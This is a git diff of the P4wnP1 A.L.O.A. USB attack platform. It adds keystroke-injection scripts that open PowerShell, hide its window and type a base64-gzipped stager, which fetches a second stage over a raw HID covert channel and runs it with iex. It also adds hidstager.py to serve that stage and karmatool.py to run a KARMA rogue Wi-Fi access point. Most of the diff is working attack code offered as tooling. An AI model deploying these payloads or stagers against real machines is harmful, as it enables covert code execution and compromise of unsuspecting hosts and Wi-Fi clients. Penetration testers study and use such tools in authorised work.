diff --git a/Makefile b/Makefile index 98acf2a..c452b90 100644 --- a/Makefile +++ b/Makefile @@ -82,6 +82,7 @@ installkali: cp -R dist/db /usr/local/P4wnP1/ cp -R dist/helper /usr/local/P4wnP1/ cp -R dist/ums /usr/local/P4wnP1/ + cp -R dist/legacy /usr/local/P4wnP1/ cp build/webapp.js /usr/local/P4wnP1/www cp build/webapp.js.map /usr/local/P4wnP1/www diff --git a/README.md b/README.md index 8641e07..7f56b46 100644 --- a/README.md +++ b/README.md @@ -1409,7 +1409,7 @@ Work in progress, missing sections: - HIDScript Trigger variables (variables handed in to HIDScripts fired from TriggerActions) - HIDScript helpers (powershell functions) - HIDScript demo snake (mouse) -- USB Mass storage +- USB Mass storage (genimg helper) ## 4. Rescue: Help, I can't reach P4wnP1 A.L.O.A. as i messed up the configuration diff --git a/dist/HIDScripts/helper.js b/dist/HIDScripts/helper.js new file mode 100755 index 0000000..6a3f31a --- /dev/null +++ b/dist/HIDScripts/helper.js @@ -0,0 +1,77 @@ +/* +Common helper methods for HID attacks +author: MaMe82 +*/ + +ps_wow64='%SystemRoot%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe' +ps="powershell.exe" + +// sets typing speed to "natural" (global effect on all running script jobs) +function natural() { + typingSpeed(100,150) // Wait 100ms between key strokes + an additional random value between 0ms and 150ms (natural) +} + +// sets typing speed as fast as possible +function fast() { + typingSpeed(0,0) +} + +// Open an interactive PowerShell console (host architecture) +function startPS() { + press("GUI r"); + delay(500); + type("powershell\n") +} + +// Hide an already opened PowerShell console, but keep input focus, to gon on typing +function hidePS() { + type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)') + press("ENTER"); +} + +// On a powershell prompt, check if the running PS is 32bit, start an inline 32bit PowerShell, otherwise. +function assurePS32() { + type("if ([IntPtr]::Size -ne 4){& $env:SystemRoot\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe}\n"); + delay(500); +} + +// Uses search bar and CTRL+SHIFT+ENTER to run given program as admin (assumes user is admin, only confirms UAC dialog) +function win10AsAdmin(program) { + press("GUI"); //open search + delay(200); + type(program); //enter target binary + delay(500); // wait for search to finish + press("CTRL SHIFT ENTER"); //start with CTRL+SHIFT+ENTER (run as admin) + delay(500); //wait for confirmation dialog (no check if a password is required, assume login user is admin) + press("SHIFT TAB"); //switch to dialog confirmation + press("ENTER"); +} + +// Streams PS code via a HID channel into memory and executes the received result with IEX. +// The second stage code has to be provided by hidstager.py. +// PID and VID in used by the raw HID device have to be provided as string arguments in format "1D6B", "4137". +// +// The advantages of delivery via raw HID: +// - the channel allows to transfer large payloads silently (about 32KByte/s on USB 2.0) +// - the payload goes to memory, not to disk +// - combined with hidePS, typing out his stager could be done nearly invisible (2131 characters have to be typed here) +// The disadvantages of delivery via raw HID: +// - the payload is executed with Invoke-Expression (iex) after transfer, which is 'loud' again +// - the PID and VID of the (raw) HID device in use have to be known, in order to allow the stager to identify the device +// (the stager manages to find the correct interface itself, if multiple HID interfaces, like keyboard and mouse, are up) +function hidDownAndIEX(vid, pid) { + type("$USB_VID='"+ vid +"';$USB_PID='" + pid +"';"); + type("$b='H4sIAAAAAAAEAKVXbU/bSBD+jsR/sFzfxRGJ5VBaISR0Bwm0kUobNXA9XbDQxh4ne9jeaL1OG/X47zezu7YT2lSqCoLYuzPPPPO6m8ODtCpixUXhfIQ0g1gNJTAF1zyDG1BLkfjdw4OvhwdeInLn3JldrFYjkTNeRGdnw0pKKJR5JxGGEu/hc//D/F9EqhERPLgoS8jn2eY9y8F3b9gNnB6PNkW97KIRj81RnewEI0h5AbjPch7XMj7i95zZFuhVzlWDfFnxLAF5EcdQlkjuY1UQaK5B2XwX80YkVbZNxCy4Pce7ZlkJpKm0Zl5r3m5WjQLKuZNqnvG45wwzVpaaf5xShFDPatj4uW1E3V3+RuBCKcnnlYIyalGniikek/y4UBMlI3wiBrMocv70Z1NUKRaR2X55TA93zVOrcbd/1+lqygmnpGKsFM8hwD2QYjUFueYYxmCUZeN8JaRqOEbBG1BDUZRKVrES0m/JGMCUacDWyWsOWTIuUmGp/6Qtre67V4WSm4nghXK7vZ8mbEEmEkqUhClf/ALKFNQ7VqorKYX8BZghyzIMG8ZyjT2EkfoVrCWTSMu1KUjXOgmmC03Yd4vQu5UVNB97jX5DEdvqEy/Yiv9IyXBB0YtKCUMo3j8YdA8Pq1KJvHHNtrJP5dkj8o8gC8heHgdJllGYqMz0f/TUdl6ANp/B+NqyaeXA+K+bGFeeDtu510YGCxlYfi1FPgJyZsLU0vfyPM7QX1vljrfCVTsTl3pC4D7OwgbF1xJNa4Z/D0PzQ0sfAhJphxSw5JPkCtrGPDv7B+PZyuJkAlz8sIKi7ePwy8kW6LaiHqREixhcCpEBK6KQYnQ+u+GxFKVIVYBZxGhOWQpvWZFkmDZ6JnPm/Xmbl353Fka1xzEmfS0e0VMd3ZSd73eM6JwTGY9SZmPy+mSL3MCQswgmB9+zPzhBAhJUJYvnFLbTWUKRPCRMMd9LEQ8Nl6KSMT0kUCr6wE38kBADX0Nic8nPKUrzDc7h3WK9xKVZ5PivX3VrgZnHj44i6jF6jZxw34a1vXebGO3fRJ7BOygWarlXpnZCn74oPhSrza3wjTQ6yYlzAmsKRaAT0uxh6ZhHa+NZHDEN23G0UZI/ik0s9QFurVEJ+J7shT2zawIsgabYA09IVBp/cLmU8e5CUqpnEsUzFRmvdxfycvF9dqSLDGYXUrIN3VswSMQMw4N/qGaCYaTqCkNGVCu6YnCHCiZeG/HdQGGlbo+Lu+nlw1/jEUrS02Q8spF7Ox69qXhy7n49SQbw6tX8uJ8OXqf9wSBO+6en8bwfhgP8oaZ+GT65aEFgDuIl8v+cc4yqwwtngY+O7t4HhMcOUVJkGUjDwPnvt68zlIh87wEvITgyEhzc3Sen6yAFnjZQgZEfj5x+zhTZcGvirnPkdH5H3g8dfHJrL9yu08fR4OwF6KCDHSvUL4RqJO3JoClQcdB0xDy59/d/3JOxWm7yflKDYu2sMhaD37nv9DovEBaZvNDCNow6BU8toHmhUYzQe26yKECi57sZc2rHm4S1HYNYPz4dzPQ3ZwI1gMBDEZX6NNNKxRZwTJ5iLj3IV2rz/fIMsULwdqPL5POSzPpNE+2OZQwsOF5RZZkpqmbWNV3nhPhrjYXa4fgRiFLTzo2oLQgjgdNdg4cGOMbC4kUFOqzbYoP9Yl6l0lMaTbfwRQVXRSwSOjDPzu5ur09pnpsTtIE6iboWmxQDvPFKVX7i2EMuubUEfJ9j8OvK8214+wuF9g2BObr12JL8BmgOC15sQ9lmrBOFIZrRMYMnEd1taD6+w5s7XvIIxDHTFUk7JpmumZGA3xC0vZpQE5A66Uc4mIhMYwoXBt/a8t3AQj7tI2IB0U/zPQcS0uDwxbG2zDDCW1mWbew3NVs7w0yU+rbTrIx4ubJrqHR48D9inn4F/g0AAA==';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()"); + press("ENTER"); +} + +layout('de'); // US keyboard layout +fast(); + +startPS(); +delay(500); +assurePS32(); +delay(500); +//hidePS(); +//delay(500); +hidDownAndIEX("1D6B", "1347"); diff --git a/dist/HIDScripts/onattach.js b/dist/HIDScripts/onattach.js deleted file mode 100644 index 6b0359a..0000000 --- a/dist/HIDScripts/onattach.js +++ /dev/null @@ -1,26 +0,0 @@ -// Creds to "Mohamed A. Baset" @SymbianSyMoh (see https://twitter.com/SymbianSyMoh/status/987140763673706496) - -// Endless looping script moves mouse on any new LED report - -while(true) { - // waitLED(ANY_OR_NONE) blocks till any LED of the P4wnP1 keyboard changes. - // The special flag "ANY_OR_NONE" additionally triggers, if a new LED state arrives, which doesn't differ from the - // old state, at all. - // On Windows and some Linux OS, all attached keyboards share a global LED state. In order to show the correct state - // on a newly attached keyboard, it has to be sent from the windows host to the external keyboard, at least once. - // As P4wnP1 saves the LED state internally in order to detect changes, it could happen, that a newly received state - // doesn't differ from the internal one (it would be ignored by waitLED(ANY) for example). - // `waitLED(ANY_OR_NONE)` assures that unchanged states are reported, too. This again allows to trigger the - // fellow commands, as soon as P4wnP1 is attached to a windows host. - // - // It seems that this technique couldn't be used on OSX, as users reported, that the LED state on OSX is handled - // per keyboard, not globally. - waitLED(ANY_OR_NONE); // wait for new LED report, even if there's no change - - // move mouse to indicate success - moveStepped(200,0); - moveStepped(0,-200); - moveStepped(-200,0); - moveStepped(0,200); - delay(1000); -} diff --git a/dist/HIDScripts/test1.js b/dist/HIDScripts/test1.js deleted file mode 100644 index 7c74e52..0000000 --- a/dist/HIDScripts/test1.js +++ /dev/null @@ -1,7 +0,0 @@ -waitLED(ANY); - -moveStepped(200,0); -moveStepped(0,-200); -moveStepped(-200,0); -moveStepped(0,200); - diff --git a/dist/HIDScripts/wifi_covert_channel.js b/dist/HIDScripts/wifi_covert_channel.js new file mode 100755 index 0000000..4b0c792 --- /dev/null +++ b/dist/HIDScripts/wifi_covert_channel.js @@ -0,0 +1,81 @@ +/* +WiFi covert channel, initial stage (keystroke injection) +author: MaMe82 + +This isn't a stand-alone HIDScript. It is meant to be used as part of the Master Template "Wifi covert channel" +in order to met all the dependencies. + +Two options could be changed in this script: +1) The keyboard language to type out the iniial stage +2) The hide option. If disabled the powershell window on the target host isn't hidden, to allow +easy debugging. + +Dependencies: + - this HIDScript is started as part of the TriggerActions named "wifi_covert_channel" + and triggered as soon as a new USB to host connection is detected + - the script runs stage1 (keystroke injection), stage 2 is delivered via a HID covert channel + - to make the HID covert channel work: + a) the USB gadget needs to have 'Custom HID device' enabled in addition to keyboard + b) the HID covert channel stager (hidstager.py) has to be started and ready to serve + the stage2 PowerShell script + - condition a) is assured by an USB gadget template, called 'wifi_covert_channel' + - condition b) gets satisfied by a bash script (wifi_covert_channel.sh) bashscript, which + starts the stager and additionally the "WiFi covert channel C2 server" + - the aforementioned bash script is started by a second trigger action, which is part + TriggerActio templated named "wifi_covert_channel", too + - so two conditions are assured by TriggerActions (starting HID stager+WiFi covert channel server + and running this HIDScript against the target host), but the remaining condition (deploy proper USB + gadget settings, once) has to be met, too. + - To tie everything together, the TriggerAction template and the USB gadget settings have been wrapped + together into a Master Template called 'wifi covert channel', which could be load on startup or on demand. + +Controlling the server: + - The WiFi covert channel server is bound to a screen session called 'wifi_c2' and could attached + to a SSH session by running: + $ screen -d -r wifi_c2 +*/ + +language="us"; +hide=false; // set to true to hide the console window on the target + +// Hide an already opened PowerShell console, but keep input focus, to gon on typing +function hidePS() { + type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)') + press("ENTER"); +} + +// On a powershell prompt, check if the running PS is 32bit, start an inline 32bit PowerShell, otherwise. +function assurePS32() { + type("if ([IntPtr]::Size -ne 4){& $env:SystemRoot\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe}\n"); + delay(500); +} + + +// See helper.js for details +function hidDownAndIEX(vid, pid) { + type("$USB_VID='"+ vid +"';$USB_PID='" + pid +"';"); + type("$b='H4sIAAAAAAAEAKVXbU/bSBD+jsR/sFzfxRGJ5VBaISR0Bwm0kUobNXA9XbDQxh4ne9jeaL1OG/X47zezu7YT2lSqCoLYuzPPPPO6m8ODtCpixUXhfIQ0g1gNJTAF1zyDG1BLkfjdw4OvhwdeInLn3JldrFYjkTNeRGdnw0pKKJR5JxGGEu/hc//D/F9EqhERPLgoS8jn2eY9y8F3b9gNnB6PNkW97KIRj81RnewEI0h5AbjPch7XMj7i95zZFuhVzlWDfFnxLAF5EcdQlkjuY1UQaK5B2XwX80YkVbZNxCy4Pce7ZlkJpKm0Zl5r3m5WjQLKuZNqnvG45wwzVpaaf5xShFDPatj4uW1E3V3+RuBCKcnnlYIyalGniikek/y4UBMlI3wiBrMocv70Z1NUKRaR2X55TA93zVOrcbd/1+lqygmnpGKsFM8hwD2QYjUFueYYxmCUZeN8JaRqOEbBG1BDUZRKVrES0m/JGMCUacDWyWsOWTIuUmGp/6Qtre67V4WSm4nghXK7vZ8mbEEmEkqUhClf/ALKFNQ7VqorKYX8BZghyzIMG8ZyjT2EkfoVrCWTSMu1KUjXOgmmC03Yd4vQu5UVNB97jX5DEdvqEy/Yiv9IyXBB0YtKCUMo3j8YdA8Pq1KJvHHNtrJP5dkj8o8gC8heHgdJllGYqMz0f/TUdl6ANp/B+NqyaeXA+K+bGFeeDtu510YGCxlYfi1FPgJyZsLU0vfyPM7QX1vljrfCVTsTl3pC4D7OwgbF1xJNa4Z/D0PzQ0sfAhJphxSw5JPkCtrGPDv7B+PZyuJkAlz8sIKi7ePwy8kW6LaiHqREixhcCpEBK6KQYnQ+u+GxFKVIVYBZxGhOWQpvWZFkmDZ6JnPm/Xmbl353Fka1xzEmfS0e0VMd3ZSd73eM6JwTGY9SZmPy+mSL3MCQswgmB9+zPzhBAhJUJYvnFLbTWUKRPCRMMd9LEQ8Nl6KSMT0kUCr6wE38kBADX0Nic8nPKUrzDc7h3WK9xKVZ5PivX3VrgZnHj44i6jF6jZxw34a1vXebGO3fRJ7BOygWarlXpnZCn74oPhSrza3wjTQ6yYlzAmsKRaAT0uxh6ZhHa+NZHDEN23G0UZI/ik0s9QFurVEJ+J7shT2zawIsgabYA09IVBp/cLmU8e5CUqpnEsUzFRmvdxfycvF9dqSLDGYXUrIN3VswSMQMw4N/qGaCYaTqCkNGVCu6YnCHCiZeG/HdQGGlbo+Lu+nlw1/jEUrS02Q8spF7Ox69qXhy7n49SQbw6tX8uJ8OXqf9wSBO+6en8bwfhgP8oaZ+GT65aEFgDuIl8v+cc4yqwwtngY+O7t4HhMcOUVJkGUjDwPnvt68zlIh87wEvITgyEhzc3Sen6yAFnjZQgZEfj5x+zhTZcGvirnPkdH5H3g8dfHJrL9yu08fR4OwF6KCDHSvUL4RqJO3JoClQcdB0xDy59/d/3JOxWm7yflKDYu2sMhaD37nv9DovEBaZvNDCNow6BU8toHmhUYzQe26yKECi57sZc2rHm4S1HYNYPz4dzPQ3ZwI1gMBDEZX6NNNKxRZwTJ5iLj3IV2rz/fIMsULwdqPL5POSzPpNE+2OZQwsOF5RZZkpqmbWNV3nhPhrjYXa4fgRiFLTzo2oLQgjgdNdg4cGOMbC4kUFOqzbYoP9Yl6l0lMaTbfwRQVXRSwSOjDPzu5ur09pnpsTtIE6iboWmxQDvPFKVX7i2EMuubUEfJ9j8OvK8214+wuF9g2BObr12JL8BmgOC15sQ9lmrBOFIZrRMYMnEd1taD6+w5s7XvIIxDHTFUk7JpmumZGA3xC0vZpQE5A66Uc4mIhMYwoXBt/a8t3AQj7tI2IB0U/zPQcS0uDwxbG2zDDCW1mWbew3NVs7w0yU+rbTrIx4ubJrqHR48D9inn4F/g0AAA==';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()"); + press("ENTER"); +} + +layout(language); //set keyboard layout according to the language variable (if this command is ommited, the current layout is used) +typingSpeed(0,0); // type as fast as possible + +// The script is started, as soon as a USB host connection is detected. +// A connection doesn't necessarily mean the remote host has the HID keyboard driver up already. +// To account for this, we wait for a keyboard report (no matter if it results in 'ANY_OR_NONE' LED state change +// we are only interested in an arriving LED report, which is sent by windows after keyboard driver initialization). +// After 5 seconds of waiting, we go on in any case. +waitLED(ANY_OR_NONE, 5000); + +// start an unprivileged PowerShell console +press("GUI r"); +delay(500); +type("powershell\n"); +delay(500); + +if (hide) { hidePS(); } //hide the console if choosen to do so +delay(500); +assurePS32(); // open a 32bit console, if the current one is 64bit +delay(500); +hidDownAndIEX("1D6B", "1315"); \ No newline at end of file diff --git a/dist/bin/genimage.sh b/dist/bin/genimage.sh deleted file mode 100755 index 098a4b2..0000000 --- a/dist/bin/genimage.sh +++ /dev/null @@ -1,65 +0,0 @@ -#!/bin/bash - -# requires genisoimage package -# usage: genimage.sh [volume label] [size] - - -ISO_FOLDER="/tmp/iso" -VOL_ID="Test_CD" -OUTFILE="/tmp/cdrom.iso" -OUTFILE2="/tmp/image.bin" -size="128" # only used for flashdrive, given in Megabyte - -function create_cdrom_image() { - rm -R $ISO_FOLDER # in case it exists - mkdir $ISO_FOLDER - printf "Hello World!\r\nP4wnP1" > $ISO_FOLDER/hello.txt - - # generate iso - genisoimage -udf -joliet-long -V $VOL_ID -o $OUTFILE $ISO_FOLDER -} - -function create_block_vfat_image() { - dd if=/dev/zero of=$OUTFILE2 bs=1M count=$size - #mkdosfs $OUTFILE # create vfat - mk.vfat $OUTFILE # create vfat -} - -function loop_mount() { - # find free loop device - loopdev=$(losetup -f) - - losetup $loopdev $OUTFILE2 - - # mounting the image to /mnt - # Note: If the image is used by USB Mass Storage currently, the behavior is unpredictable - # Based on observation, local changes to the mounted block device have no effect, but - # (external) changes to the USB Mass Storage have an effect. This behavior doesn't change - # if the loop mount is done with Direct-IO or the loop device is mounted with -o=sync. - # - # In addtion, binding vfat images to USB Mass Storage with CD-Rom emulation doesn't work, - # it seems the filesystem has to be ISO9660. - # - # Last but not least, even if the USB Mass Storage is flagged as removable, resetting the - # backing file to "" only works if the target host hasn't mounted the image (very unlikely - # with automount, like on Windows). There's no "forced" unmount possible from P4wnP1's end, - # therefor the whole gadget hast to be disabled and re-enabled (not reinitialized) to bring - # up another volume. This will interrupt other USB functions enabled on the current composite gadget. - # - # Conclusion: - # The backing service should allow mounting of image files only to loopback OR USB Mass Storage, - # not both. - # UMS backing image file and operation mode will be integrated into gadgetsettings (could only - # be changed on reinitialization) because of the observation according removable devices and the - # lacking possibility to change the backing file, once the device is mounted by the target host. - mount -t vfat -o loop $OUTFILE /mnt - - # to detach loopdefv: - # losetup -d $loopdev - - # to mount image filesystem - # mount -t vfat -o loop $OUTFILE2 $MOUNTPOINT -} - -create_cdrom_image -create_block_vfat_image diff --git a/dist/bin/monassure b/dist/bin/monassure deleted file mode 100755 index 833bd5e..0000000 --- a/dist/bin/monassure +++ /dev/null @@ -1,20 +0,0 @@ -#!/bin/bash -interface=wlan0mon -echo -n "Create monitor mode interface ${interface}... " -iw phy phy0 interface add ${interface} type monitor 2> /dev/null 1> /dev/null -if [ $? -eq 0 ]; then - echo "success" -else - echo "failed, already created ?" -fi - -echo -n "Trying to enable ${interface}... " -ifconfig ${interface} up 2> /dev/null -if [ $? -eq 0 ]; then - echo "success, ${interface} is up" - exit 0 -else - echo "failed" - exit 1 -fi - diff --git a/dist/db/init.db b/dist/db/init.db index 1b4b033..762f5ca 100644 Binary files a/dist/db/init.db and b/dist/db/init.db differ diff --git a/dist/legacy/hidstager.py b/dist/legacy/hidstager.py new file mode 100755 index 0000000..07bbe51 --- /dev/null +++ b/dist/legacy/hidstager.py @@ -0,0 +1,169 @@ +#!/usr/bin/python + + +# This file is part of P4wnP1 A.L.O.A. +# +# Copyright (c) 2018, Marcus Mengs. +# +# P4wnP1 is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# P4wnP1 is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with P4wnP1 A.L.O.A. If not, see . + + +import sys +import struct +import Queue +import getopt + + + +chunks = lambda A, chunksize=60: [A[i:i+chunksize] for i in range(0, len(A), chunksize)] + +# single packet for a data stream to send +# 0: 1 Byte src +# 1: 1 Byte dst +# 2: 1 Byte snd +# 3: 1 Byte rcv +# 4-63 60 Bytes Payload + +# reassemable received and enqueue report fragments into full streams (separated by dst/src) +def fragment_rcvd(qin, fragemnt_assembler, src=0, dst=0, data=""): + stream_id = (src, dst) + # if src == dst == 0, ignore (heartbeat) + if (src != 0 or dst !=0): + # check if stream already present + if fragment_assembler.has_key(stream_id): + # check if closing fragment (snd length = 0) + if (len(data) == 0): + # end of stream - add to input queue + stream = [src, dst, fragment_assembler[stream_id][2]] + qin.put(stream) + # delete from fragment_assembler + del fragment_assembler[stream_id] + else: + # append data to stream + fragment_assembler[stream_id][2] += data + #print repr(fragment_assembler[stream_id][2]) + else: + # start stream, if not existing + data_arr = [src, dst, data] + fragment_assembler[stream_id] = data_arr + +def send_packet(f, src=1, dst=1, data="", rcv=0): + snd = len(data) + #print "Send size: " + str(snd) + packet = struct.pack('!BBBB60s', src, dst, snd, rcv, data) + #print packet.encode("hex") + f.write(packet) + +def read_packet(f): + hidin = f.read(0x40) + #print "Input received (" + str(len(hidin)) + " bytes):" + #print hidin.encode("hex") + data = struct.unpack('!BBBB60s', hidin) + src = data[0] + dst = data[1] + snd = data[2] + rcv = data[3] + # reduce msg to real size + msg = data[4][0:snd] + return [src, dst, snd, rcv, msg] + +def deliverStage2(hidDevPath, stage2Data, oneshot): + # main code + qout = Queue.Queue() + qin = Queue.Queue() + fragment_assembler = {} + + + # pack stage2 into otherwise empty heartbeat chunks + stage2_chunks = chunks(stage2Data) + heartbeat_content = [] + heartbeat_content += ["begin_heartbeat"] + heartbeat_content += stage2_chunks + heartbeat_content += ["end_heartbeat"] + heartbeat_counter = 0 + + with open(hidDevPath,"r+b") as f: + + while True: + packet = read_packet(f) + src = packet[0] + dst = packet[1] + snd = packet[2] + rcv = packet[3] + msg = packet[4] + + + + fragment_rcvd(qin, fragment_assembler, src, dst, msg) + if qout.empty(): + # empty keep alive (rcv field filled) + #send_packet(f=f, src=0, dst=0, data="", rcv=snd) + # as the content "keep alive" packets (src=0, dst=0) is ignored + # by the PowerShell client, we use them to carry the initial payload + # in an endless loop + if heartbeat_counter == 0: + print "Start new stage2 delivery" + if heartbeat_counter == len(heartbeat_content): + heartbeat_counter = 0 + send_packet(f=f, src=0, dst=0, data=heartbeat_content[heartbeat_counter], rcv=snd) + if heartbeat_counter == len(heartbeat_content)-1: + print "Ended stage2 delivery" + if oneshot: + # if oneshot is enabled, return after delivery + return + heartbeat_counter += 1 + else: + packet = qout.get() + send_packet(f=f, src=packet[0], dst=packet[1], data=packet[2], rcv=snd) + + +def main(argv): + inputfile = '' + outputfile = '' + oneshot = False + try: + opts, args = getopt.getopt(argv,"shi:o:",["infile=","out="]) + except getopt.GetoptError: + print 'hidstager.py -i -o [-s]' + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print 'hidstager.py -i -o [-s]' + sys.exit() + elif opt in ("-i", "--infile"): + inputfile = arg + elif opt in ("-o", "--out"): + outputfile = arg + elif opt == "-s": # single delivery + oneshot=True + + if len(inputfile) == 0 or len(outputfile) == 0: + print 'Input (stage2 data) and output (raw HID device) have to be given!' + sys.exit(2) + + print 'Delivering "', inputfile, '" via raw HID device "', outputfile, '"' + if oneshot: + print 'Exit after first delivery' + + # Initialize stage one payload, carried with heartbeat package in endless loop + #with open("wifi_agent.ps1","rb") as f: + with open(inputfile,"rb") as f: + stage2=f.read() + + #deliverStage2("/dev/hidg2", stage2) + deliverStage2(outputfile, stage2, oneshot) + + +if __name__ == "__main__": + main(sys.argv[1:]) \ No newline at end of file diff --git a/dist/legacy/karmatool.py b/dist/legacy/karmatool.py new file mode 100755 index 0000000..ed6bad1 --- /dev/null +++ b/dist/legacy/karmatool.py @@ -0,0 +1,215 @@ +#!/usr/bin/python + +#!/usr/bin/python + +# This file is part of P4wnP1. +# +# Copyright (c) 2017, Marcus Mengs. +# +# P4wnP1 is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# P4wnP1 is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with P4wnP1. If not, see . + + +# The command line tool could be used to configure the MaMe82 nexmon firmware mod (KARMA) +# for Pi3 / Pi0W while an access point is up and running + +from mame82_util import * +import cmd +import sys +import getopt + +def interact(): + pass + +def usage(): + usagescr = '''Firmware configuration tool for KARMA modified nexmon WiFi firmware on Pi0W/Pi3 by MaMe82 +========================================================================================= + +RePo: https://github.com/mame82/P4wnP1_nexmon_additions +Creds to: seemoo-lab for "NEXMON" project + +A hostapd based Access Point should be up and running, when using this tool +(see the README for details). + +Usage: python karmatool.py [Arguments] + +Arguments: + -h Print this help screen + -i Interactive mode + -d Load default configuration (KARMA on, KARMA beaconing off, + beaconing for 13 common SSIDs on, custom SSIDs never expire) + -c Print current KARMA firmware configuration + -p 0/1 Disable/Enable KARMA probe responses + -a 0/1 Disable/Enable KARMA association responses + -k 0/1 Disable/Enable KARMA association responses and probe responses + (overrides -p and -a) + -b 0/1 Disable/Enable KARMA beaconing (broadcasts up to 20 SSIDs + spotted in probe requests as beacon) + -s 0/1 Disable/Enable custom SSID beaconing (broadcasts up to 20 SSIDs + which have been added by the user with '--addssid=' when enabled) + --addssid="test" Add SSID "test" to custom SSID list (max 20 SSIDs) + --remssid="test" Remove SSID "test" from custom SSID list + --clearssids Clear list of custom SSIDs + --clearkarma Clear list of karma SSIDs (only influences beaconing, not probes) + --autoremkarma=600 Auto remove KARMA SSIDs from beaconing list after sending 600 beacons + without receiving an association (about 60 seconds, 0 = beacon forever) + --autoremcustom=3000 Auto remove custom SSIDs from beaconing list after sending 3000 + beacons without receiving an association (about 5 minutes, 0 = beacon + forever) + +Example: + python karmatool.py -k 1 -b 0 Enables KARMA (probe and association responses) + But sends no beacons for SSIDs from received probes + python karmatool.py -k 1 -b 0 Enables KARMA (probe and association responses) + and sends beacons for SSIDs from received probes + (max 20 SSIDs, if autoremove isn't enabled) + + python karmatool.py --addssid="test 1" --addssid="test 2" -s 1 + Add SSID "test 1" and "test 2" and enable beaconing for + custom SSIDs +''' + print(usagescr) + +def print_conf(): + print "Retrieving current configuration ...\n====================================" + MaMe82_IO.dump_conf(print_res=True) + +def check_bool_arg(arg): + try: + res = int(arg) + if (res == 0) or (res == 1): + return res + else: + return -1 + except ValueError: + return -1 + +def main(argv): + try: + opts, args = getopt.getopt(argv, "hicdk:p:a:b:s:", ["help", "interactive", "currentconfig", "setdefault", "clearkarma", "clearssids", "addssid=", "remssid=", "autoremkarma=", "autoremcustom="]) + except getopt.GetoptError: + print "ERROR: Wrong command line argument(s)" + print "-------------------------------------\n" + usage() + sys.exit(2) + + for opt, arg in opts: + if opt in ("-h", "--help"): + usage() + sys.exit() + elif opt in ("-d", "--setdefault"): + print "Setting default configuration ..." + MaMe82_IO.set_defaults() + print_conf() + sys.exit() + elif opt in ("-i", "--interactive"): + print "Interactive mode" + print "... Sorry, feature not implemented, yet ... stay tuned" + sys.exit() + elif opt in ("-c", "--currentconfig"): + print_conf() + elif opt == "-p": + val = check_bool_arg(arg) + if (val == -1): + print "Argument error for -p (KARMA probe), must be 0 or 1 .... ignoring option" + else: + print "Setting KARMA probe responses to {0}".format("On" if (val==1) else "Off") + MaMe82_IO.set_enable_karma_probe(True if (val==1) else False) + elif opt == "-a": + val = check_bool_arg(arg) + if (val == -1): + print "Argument error for -a (KARMA associations), must be 0 or 1 .... ignoring option" + else: + print "Setting KARMA association responses to {0}".format("On" if (val==1) else "Off") + MaMe82_IO.set_enable_karma_assoc(True if (val==1) else False) + elif opt == "-k": + val = check_bool_arg(arg) + if (val == -1): + print "Argument error for -k (KARMA probes and associations), must be 0 or 1 .... ignoring option" + else: + print "Setting KARMA probe and association responses to {0}".format("On" if (val==1) else "Off") + MaMe82_IO.set_enable_karma(True if (val==1) else False) + elif opt == "-b": + val = check_bool_arg(arg) + if (val == -1): + print "Argument error for -b (KARMA beaconing), must be 0 or 1 .... ignoring option" + else: + print "Setting KARMA beaconing to {0}".format("On" if (val==1) else "Off") + MaMe82_IO.set_enable_karma_beaconing(True if (val==1) else False) + elif opt == "-s": + val = check_bool_arg(arg) + if (val == -1): + print "Argument error for -s (custom beaconing), must be 0 or 1 .... ignoring option" + else: + print "Setting custom beaconing to {0}".format("On" if (val==1) else "Off") + MaMe82_IO.set_enable_custom_beaconing(True if (val==1) else False) + elif opt == "--addssid": + if len(arg) == 0 or len(arg) > 32: + print "Argument error for --addssid, mustn't be empty max length is 32 ... ignoring option" + else: + MaMe82_IO.add_custom_ssid(arg) + elif opt == "--remssid": + if len(arg) == 0 or len(arg) > 32: + print "Argument error for --remssid, mustn't be empty max length is 32 ... ignoring option" + else: + MaMe82_IO.rem_custom_ssid(arg) + elif opt == "--clearssids": + print "Removing all custom SSIDs" + MaMe82_IO.clear_custom_ssids() + elif opt == "--clearkarma": + print "Removing all KARMA SSIDs (no influence on probe / assoc responses)" + MaMe82_IO.clear_karma_ssids() + elif opt == "--autoremkarma": + error="An integer value >=0 is needed for autoremkarma ... ignoring option" + try: + val = int(arg) + if (val < 0): + print error + else: + print "Removing KARMA SSIDs after sending {0} beacons without occuring association".format(val) + MaMe82_IO.set_autoremove_karma_ssids(val) + except ValueError: + print error + elif opt == "--autoremcustom": + error="An integer value >=0 is needed for autoremcustom ... ignoring option" + try: + val = int(arg) + if (val < 0): + print error + else: + print "Removing custom SSIDs after sending {0} beacons without occuring association".format(val) + 